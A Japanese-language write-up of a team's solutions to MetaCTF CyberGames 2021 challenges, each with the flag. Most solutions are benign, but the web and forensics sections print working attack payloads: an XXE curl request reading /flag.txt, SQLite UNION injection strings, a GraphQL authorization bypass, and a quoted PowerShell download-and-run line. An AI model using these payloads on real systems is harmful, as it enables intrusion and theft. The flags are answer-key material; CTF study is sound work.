この大会は2021/12/4 5:00(JST)~2021/12/6 5:00(JST)に開催されました。
今回もチームで参戦。結果は7600点で238チーム中77位でした。
自分で解けた問題をWriteupとして書いておきます。
Flag Format (Other 50)
問題にフラグが書いてあった。
MetaCTF{string_separated_with_und3rscores}
A to Z (Cryptography 100)
Atbash cipher。https://www.geocachingtoolbox.com/index.php?lang=en&page=atbashCipherで復号する。
bashful_is_my_fav_dwarf
MetaCTF{bashful_is_my_fav_dwarf}
There Are No Strings on Me (Reverse Engineering 100)
$ strings strings | grep MetaCTF MetaCTF{this_is_the_most_secure_ever}
MetaCTF{this_is_the_most_secure_ever}
This Ain't a Scene, It's an Encryption Race (Other 100)
MITRE ATT&CKで業務に影響を与えるために暗号化するテクニックIDを調べる。
T1486
MetaCTF{T1486}
Thnks fr th Pwds (Cryptography 100)
base64デコードする。
$ echo TWV0YUNURntlbmNvZGluZ19pc19OMFRfdGhlX3NhbWVfYXNfZW5jcnlwdGlvbiEhfQ== | base64 -d MetaCTF{encoding_is_N0T_the_same_as_encryption!!}
MetaCTF{encoding_is_N0T_the_same_as_encryption!!}
Under Inspection (Web Exploitation 100)
HTMLソースを見ると、以下のスクリプト部分がある。
<script> function loginSubmission() { var username = document.getElementById("username").value; var password = document.getElementById("password").value; var result = document.getElementById("result"); var accounts = [ {user: "Admin", pwd: "MetaCTF{super_secure_password}"}, {user: "Bumblebee", pwd: "MetaCTF{sting_like_a_bee}"}, {user: "Starscream", pwd: "MetaCTF{the_best_leader_of_the_decepticons}"}, {user: "Jazz", pwd: "MetaCTF{do_it_with_style_or_dont_do_it_at_all}"}, {user: "Megatron", pwd: "MetaCTF{peace_through_tyranny}"}, ]; for(var a in accounts) { if(accounts[a].user == username && accounts[a].pwd == password) { if(username == "Jazz") { result.innerHTML = "Welcome, Jazz. The flag is " + password; } else { result.innerHTML = "Welcome, " + username + "."; } return false; } } result.innerHTML = "Login Failed. Please try again"; return false; } </script>
Jazzユーザのパスワードがフラグ。
MetaCTF{do_it_with_style_or_dont_do_it_at_all}
Wrong Way on a One Way Street (Cryptography 100)
sha1らしき文字列が与えられるので、CrackStationでクラックする。
babyloka13
MetaCTF{babyloka13}
My Logs Know What You Did (Forensics 125)
base64部分をデコードする。
$ echo TmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCkuRG93bmxvYWRGaWxlKCdodHRwOi8vTWV0YUNURntzdXBlcl9zdXNfc3Q0Z2luZ19zaXRlX2QwdF9jMG19L19iYWQuZXhlJywnYmFkLmV4ZScpO1N0YXJ0LVByb2Nlc3MgJ2JhZC5leGUn | base64 -d New-Object System.Net.WebClient).DownloadFile('http://MetaCTF{super_sus_st4ging_site_d0t_c0m}/_bad.exe','bad.exe');Start-Process 'bad.exe'
MetaCTF{super_sus_st4ging_site_d0t_c0m}
Sugar, We're Goin Up (Reconnaissance 125)
以下の重大な脆弱性のCVE番号を答える問題。
2021年9月、GitLabは重大なリモートコード実行の脆弱性のCVSSv3スコアを可能な限り最高のスコアである10.0にアップグレードしました。 パッチは4月にリリースされましたが、公開されているパッチが適用されていないGitLabインスタンスの多くは脆弱なままです。
この情報について調べると、以下のページなどに記載されている。
https://www.rapid7.com/blog/post/2021/11/01/gitlab-unauthenticated-remote-code-execution-cve-2021-22205-exploited-in-the-wild/
CVE-2021-22205
I Just Wanna Run (Forensics 150)
ランサムウェアの実行に使用することを計画しているユーザーアカウントを答える問題。
exe.batを見ると、実行ユーザがわかる。
METAL\timq-admin
Sharing Files and Passwords (Forensics 150)
pcapからパスワードを答える問題。ftpでフィルタリングして、TCP Streamを見てみる。
220 (vsFTPd 3.0.3) USER metagamer 331 Please specify the password. PASS ftp_is_better_than_dropbox 230 Login successful. :
パスワードは以下であるとわかる。
ftp_is_better_than_dropbox
MetaCTF{ftp_is_better_than_dropbox}
Still Believe in Magic? (Forensics 150)
$ file magic magic: Zip archive data, at least v2.0 to extract $ mv magic magic.zip $ unzip magic.zip Archive: magic.zip inflating: magic.txt creating: __MACOSX/ inflating: __MACOSX/._magic.txt $ cat magic.txt MetaCTF{was_it_a_magic_trick_or_magic_bytes?}
MetaCTF{was_it_a_magic_trick_or_magic_bytes?}
Unbreakable Encryption (Cryptography 150)
Ciphertext 1とPlaintext 1をXORし、鍵を求める。その鍵を使って、Ciphertext 2とXORし、復号する。
#!/usr/bin/env python3 from Crypto.Util.strxor import strxor ct1 = '4fd098298db95b7f1bc205b0a6d8ac15f1f821d72fbfa979d1c2148a24feaafdee8d3108e8ce29c3ce1291' pt1 = 'hey let\'s rob the bank at midnight tonight!' ct2 = '41d9806ec1b55c78258703be87ac9e06edb7369133b1d67ac0960d8632cfb7f2e7974e0ff3c536c1871b' key = strxor(bytes.fromhex(ct1), pt1.encode()) pt2 = strxor(bytes.fromhex(ct2), key[:len(bytes.fromhex(ct2))]).decode() print(pt2)
復号結果は以下の通り。
flag is MetaCTF{you're_better_than_steve!}
MetaCTF{you're_better_than_steve!}
Size Matters (Cryptography 175)
$ python -m primefac 7409108828132483935605377602576376117 7409108828132483935605377602576376117: 430535396861370041 17209058493553260637
n = p * q とすると、p, q は以下の値になる。
p = 430535396861370041 q = 17209058493553260637
あとはそのまま復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * c = 0x2526512a4abf23fca755defc497b9ab e = 257 n = 0x592f144c0aeac50bdf57cf6a6a6e135 p = 430535396861370041 q = 17209058493553260637 assert n == p * q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
復号結果は以下の通り。
you_broke_rsa!
MetaCTF{you_broke_rsa!}
Et tu, Hacker? (Forensics 200)
イベントログを見ると、何回もログオンに使われているユーザ名がわかる。
ericm
MetaCTF{ericm}
Company Picnic (Cryptography 225)
たくさん公開鍵パラメータがあるので、最大公約数を持っているものだけ秘密鍵を文字列化したものを連結する。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('public_keys.txt', 'r') as f: lines = f.read().splitlines()[:-1] ns = [] es = [] for i in range(len(lines)): if i % 3 == 0: N = int(lines[i].split(' ')[-1], 16) ns.append(N) elif i % 3 == 1: e = int(lines[i].split(' ')[-1], 16) es.append(e) flag = b'' for i in range(len(ns)): found = False for j in range(len(ns)): if i == j: continue p = GCD(ns[i], ns[j]) if p > 1 and p != ns[i]: found = True break if found: q = ns[i] // p phi = (p - 1) * (q - 1) d = inverse(es[i], phi) flag += long_to_bytes(d) flag = flag.decode() print(flag)
MetaCTF{Oops_those_primes_are_not_that_randoM}
Easy as it (TCP) Streams (Forensics 250)
..... ..#..'........!.."..... .....#.....'...............Ubuntu 16.04.2 LTS Yu_Caleb login: calebyu Password: Last login: Sat Oct 23 16:29:24 EDT 2021 from 10.0.2.9 on pts/4 Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.8.0-36-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 0 packages can be updated. 0 updates are security updates. .]0;calebyu@Yu_Caleb: ~..[01;32mcalebyu@Yu_Caleb.[00m:.[01;34m~.[00m$ cd flags .]0;calebyu@Yu_Caleb: ~/flags..[01;32mcalebyu@Yu_Caleb.[00m:.[01;34m~/flags.[00m$ gpg --import private.asc gpg: key D0B914EF: already in secret keyring gpg: Total number processed: 1 gpg: secret keys read: 1 gpg: secret keys unchanged: 1 .]0;calebyu@Yu_Caleb: ~/flags..[01;32mcalebyu@Yu_Caleb.[00m:.[01;34m~/flags.[00m$ gpgp..[K --batch --yes --passphrase farnha message.pgp gpg: encrypted with 1024-bit RSA key, ID A90FEAFD, created 2021-10-23 "Cable" .]0;calebyu@Yu_Caleb: ~/flags..[01;32mcalebyu@Yu_Caleb.[00m:.[01;34m~/flags.[00m$ ls message message.pgp private.asc .]0;calebyu@Yu_Caleb: ~/flags..[01;32mcalebyu@Yu_Caleb.[00m:.[01;34m~/flags.[00m$
No.4のパケットからmessage.pgpをエクスポートできる。またNo.14のパケットからprivate.ascをエクスポートできる。パスフレーズは"farnha"を使っている。
CyberChefで以下を指定し、復号する。
・レシピ:PGP Decrypt ・Private key of recipient:private.ascの内容 ・Private key passphrase:farnha ・Input:message.pgpをアップロード
まだ復号できない。さらに以下のレシピを追加する。
・Magic(Depth: 3)
MetaCTF{cleartext_private_pgp_keys}
I Hate Python (Reverse Engineering 250)
コードの処理概要は以下の通り。
・x: 入力パスワード ・xの長さが25でなければ終了 ・random.seed(997) ・k: 25個の0~256のランダム整数配列 ・a: {index(0~): do_thing(ord([xの各文字]), kの各数値)}という形式のデータ ・b: 0~24の配列 →random.shuffle(b) ・c: b配列の逆順をインデックスとするaの配列 ・kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127] ・knのi番目の値はc[i]になっている必要がある。
seedがわかっているので、インデックスを含め、さまざまな値がわかっている。例えばフラグの1文字目はbのシャッフルで、比較する数値の位置が変わるがその場所は分かっているので、それを前提に1文字ずつブルートフォースする。
#!/usr/bin/env python3 import random def do_thing(a, b): return ((a << 1) & b) ^ ((a << 1) | b) random.seed(997) k = [random.randint(0, 256) for _ in range(25)] b = list(range(25)) random.shuffle(b) kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127] flag = '' for i in range(25): index = b[::-1].index(i) for code in range(32, 127): v = do_thing(code, k[i]) if v == kn[index]: flag += chr(code) break print(flag)
MetaCTF{yOu_w!N_th1$_0n3}
Ransomware Patch (Cryptography 250)
zipファイルはパスワードがかかっている。
$ zipinfo ransomware-final.zip Archive: ransomware-final.zip Zip file size: 17227 bytes, number of entries: 17 drwx--- 6.3 fat 0 bx stor 21-Nov-29 17:40 AES/ -rw-a-- 6.3 fat 19017 Bx defN 21-Nov-29 16:35 AES/aes.c -rw-a-- 6.3 fat 2790 Bx defN 21-Nov-29 16:35 AES/aes.h -rw-a-- 6.3 fat 184 Bx defN 21-Nov-29 16:35 AES/aes.hpp -rw-a-- 6.3 fat 366 Bx defN 21-Nov-29 16:35 AES/CMakeLists.txt -rw-a-- 6.3 fat 2050 Bx defN 21-Nov-29 16:35 AES/conanfile.py -rw-a-- 6.3 fat 279 Bx defN 21-Nov-29 16:35 AES/library.json -rw-a-- 6.3 fat 557 Bx defN 21-Nov-29 16:35 AES/library.properties -rw-a-- 6.3 fat 1261 Bx defN 21-Dec-03 12:29 AES/Makefile -rw-a-- 6.3 fat 4783 Bx defN 21-Nov-29 16:35 AES/README.md -rw-a-- 6.3 fat 15539 Bx defN 21-Nov-29 16:35 AES/test.c -rw-a-- 6.3 fat 37 Bx stor 21-Nov-29 16:35 AES/test.cpp drwx--- 6.3 fat 0 bx stor 21-Nov-29 16:43 AES/test_package/ -rw-a-- 6.3 fat 313 Bx defN 21-Nov-29 16:35 AES/test_package/CMakeLists.txt -rw-a-- 6.3 fat 413 Bx defN 21-Nov-29 16:35 AES/test_package/conanfile.py -rw-a-- 6.3 fat 1211 Bx defN 21-Nov-29 16:35 AES/unlicense.txt -rw-a-- 6.3 fat 33 Bx stor 21-Nov-29 16:38 key 17 files, 48833 bytes uncompressed, 14623 bytes compressed: 70.1%
aes.cなどと同じファイルがないか調べると、以下のページが見つかる。
https://github.com/kokke/tiny-AES-c
conanfile.pyなどもあるので、おそらくこのソースが使われている。bkcrackでクラックしてみる。その際aes.cを7zipで圧縮レベルを「標準」、圧縮方式を「Deflate」でzip圧縮して、aes.zipとして保存する。
$ ./bkcrack -C ransomware-final.zip -c AES/aes.c -p aes.c -P aes.zip bkcrack 1.0.0 - 2020-11-11 Generated 4194304 Z values. [09:56:26] Z reduction using 5516 bytes of known plaintext 100.0 % (5516 / 5516) 1550 values remaining. [09:56:28] Attack on 1550 Z values at index 67 Keys: a71f05f4 18438c7b 1cf62c29 85.2 % (1320 / 1550) [09:56:32] Keys a71f05f4 18438c7b 1cf62c29 $ ./bkcrack -C ransomware-final.zip -c key -k a71f05f4 18438c7b 1cf62c29 -d key bkcrack 1.0.0 - 2020-11-11 Wrote deciphered text. $ cat key MetaCTF{license_is_hard_to_spell}
MetaCTF{license_is_hard_to_spell}
Leaky Logs (Web Exploitation 300)
Event Logsの画面の検索キーに"a"と入力して、Enterをすると、以下のペイロードが送信される。
<params><query>a</query></params>
XXEの問題のようだ。XXEを使って、/flag.txtを読み取る。
$ curl -H 'Content-Type:text/xml' http://host1.metaproblems.com:4920/api/event_log -d '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag.txt">]><params><query>&xxe;</query></params>' <events filtering_by="MetaCTF{el3m3nt4l_3xtern4lit1e5} "/>
MetaCTF{el3m3nt4l_3xtern4lit1e5}
Looking Inwards (Web Exploitation 300)
GraphQLのAPIサーバだとのことなので、情報を収集してみる。
$ get-graphql-schema https://metaproblems.com/bb0e56b64e0a17b47450457b07fd2353/graphql.php type Mutation { sum(x: Int!, y: Int!): Int! } type Query { echo(message: String!): String! super_super_secret_flag_dispenser(authorized: Boolean!): String! }
GraphQLで問い合わせをする。Endpointを https://metaproblems.com/bb0e56b64e0a17b47450457b07fd2353/graphql.php に設定する。
以下のクエリを投げる。
query { super_super_secret_flag_dispenser(authorized: true) }
すると、以下のようなレスポンスが返ってきた。
{ "data": { "super_super_secret_flag_dispenser": "MetaCTF{look_deep_and_who_knows_what_you_might_find}" } }
MetaCTF{look_deep_and_who_knows_what_you_might_find}
Yummy Vegetables (Web Exploitation 300)
SQLiteのSQLインジェクション。unionを使って、データを取得していく。
■Z' union select 1, 2, 3 -- Vegetable Name Color 2 3 ■Z' union select 1, name, 3 from sqlite_master where type = 'table' -- Vegetable Name Color sqlite_sequence 3 the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5 3 veggies 3 ■Z' union select 1, sql, 3 from sqlite_master -- Vegetable Name Color CREATE TABLE "the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5" (flag TEXT) 3 CREATE TABLE sqlite_sequence(name,seq) 3 CREATE TABLE veggies (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, color TEXT) 3 ■Z' union select 1, flag, 3 from the_flag_is_in_here_730387f4b640c398a3d769a39f9cf9b5 -- Vegetable Name Color MetaCTF{sql1t3_m4st3r_0r_just_gu3ss_g0d??} 3
MetaCTF{sql1t3_m4st3r_0r_just_gu3ss_g0d??}
MetaCTF CyberGames 2021 Feedback (Other 200)
アンケートに答えたら、フラグが表示された。
MetaCTF{thanks_for_hacking_with_us_this_weekend}